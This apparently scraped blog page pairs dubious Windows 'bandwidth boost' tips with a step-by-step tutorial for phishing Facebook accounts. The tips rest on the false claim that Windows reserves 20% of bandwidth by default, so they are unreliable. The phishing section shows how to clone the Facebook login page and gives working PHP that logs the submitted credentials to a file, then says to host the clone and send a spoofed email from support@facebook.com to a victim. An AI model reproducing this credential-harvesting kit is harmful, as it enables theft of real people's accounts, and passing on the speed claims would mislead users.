Two Tips To Speed Up Your Bandwidth By 30%


Tip Number-1
By default all Windows systems reserves 20% of your bandwidth speed. This is done so that any specific application should not overpower other applications for bandwidth. Though this setting is done for good purpose it limits connection speed even though only one application is using bandwidth. By the way even though this setting is disabled no application will conflict with each other on bandwidth. So turning it off can give you boost of 20% in your bandwidth speed.
To turn this feature off,

Click Start-->Run-->type gpedit.msc

This opens the group policy editor. Then go to:

Local Computer Policy-->Computer Configuration-->Administrative Templates-->Network-->QOS Packet Scheduler-->Limit Reservable Bandwidth

Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab :

"By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."

So the trick is to ENABLE reservable bandwidth, then set it to ZERO.

This will allow the system to reserve nothing, rather than the default 20%.

Once done your bandwidth will show increase by 20%.

Tip Number-2
In acient times connection speed was very slow and data has not only to suffer loss due to transmission speed but also due to the hardware flow error. Though with time connection speed has reached much better place than before you hardly need any hardware flow control which by default is still available in all Windows system. To disable it,

Click Start button-->select Connect To
Now right click on your modem and select Properties now select configure and disable all “Hardware Features
Now disconnect and connect to your network. You’ll find 10% increase.


Before you apply these tweaks open http://www.speedtest.net/ from your browser and check your connection speed. Then apply both tweaks and recheck your speed.

Tested on Windows XP, Windows 2000, Windows 2003 and Windows Vista.

How To Hack Facebook Account | Phishing

In this tutorial we will discus how you can hack Facbook account password by phishing. Phishing is act of creating a replica of legitimate website for stealing passwords and credit card numbers etc. Here I will show you how you can create replica of facebook log-in page and then fool your victim to put his username and password in it so that you can get his account password
.

First of all open www.facebook.com in your web browser, from “file” menu select “save as” and type “Facebook” in file name and select “web page complete” from save as menu. Once done you will have a file named “Facebook.html” and a folder named “Facebook_files”. Folder will have several files in it, let them as it is and open Facebook.html in notepad or word-pad. From edit menu select find, type action in it and locate following string.

action="https://www.facebook.com/login.php?login_attempt=1"

Now replace this string with

action= “mail.php”

Now open notepad type following code in it and create mail.php.

Code:


<?php
header ('Location: https://www.facebook.com/login.php?login_attempt=1 ');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Now save it as mail.php and create an empty log.txt file. Now you'll need a free web hosting service that supports PHP. Go to http://www.100best-free-web-space.com/ and select service and plan that suits you. Now in root folder of your website create Facebook_files folder and upload all files in Facebook_files of your hard disk to it. Come back to root folder and upload Facebook.html, mail.php and log.txt in it. Change permission for log.txt that it can be seen by administrator only. Once done make Facebook.html your index page and make site live.

Now sign up with http://www.hoaxmail.co.uk/ it provides spoofed email service. Now create a message from support@facebook.com to your victim.
